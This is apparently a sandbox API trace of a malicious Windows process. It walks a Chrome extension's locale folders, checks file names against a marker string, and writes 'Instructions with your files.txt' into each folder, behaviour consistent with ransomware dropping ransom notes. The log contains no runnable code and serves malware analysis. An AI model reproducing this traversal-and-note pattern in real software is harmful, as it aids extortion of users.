[0128.883] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 155
[0128.883] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.883] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.883] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\Instructions with your files.txt") returned 174
[0128.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.883] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.884] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.884] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.884] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.884] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.884] CloseHandle (hObject=0x134) returned 1
[0128.885] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.885] GetProcessHeap () returned 0x810000
[0128.885] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.885] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0128.885] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned 141
[0128.885] GetProcessHeap () returned 0x810000
[0128.885] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.885] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*") returned 143
[0128.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.886] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\.") returned 143
[0128.886] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.886] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\..") returned 144
[0128.886] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.886] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 155
[0128.886] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.886] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.886] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\Instructions with your files.txt") returned 174
[0128.886] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.886] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.887] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.887] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.887] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.887] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.887] CloseHandle (hObject=0x134) returned 1
[0128.888] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.888] GetProcessHeap () returned 0x810000
[0128.888] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.888] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0128.888] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned 141
[0128.888] GetProcessHeap () returned 0x810000
[0128.888] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.888] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*") returned 143
[0128.888] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.888] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\.") returned 143
[0128.888] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.888] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\..") returned 144
[0128.888] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.888] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 155
[0128.888] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.888] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.888] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\Instructions with your files.txt") returned 174
[0128.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.889] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.889] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.890] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.890] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.890] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.890] CloseHandle (hObject=0x134) returned 1
[0128.890] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.890] GetProcessHeap () returned 0x810000
[0128.890] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.890] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0128.890] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned 141
[0128.890] GetProcessHeap () returned 0x810000
[0128.890] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.890] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*") returned 143
[0128.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.891] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\.") returned 143
[0128.891] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.891] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\..") returned 144
[0128.891] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.891] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 155
[0128.891] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.891] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.891] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\Instructions with your files.txt") returned 174
[0128.891] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.892] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.893] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.893] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.893] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.893] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.893] CloseHandle (hObject=0x134) returned 1
[0128.893] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.893] GetProcessHeap () returned 0x810000
[0128.893] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.893] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
[0128.893] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned 141
[0128.893] GetProcessHeap () returned 0x810000
[0128.893] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
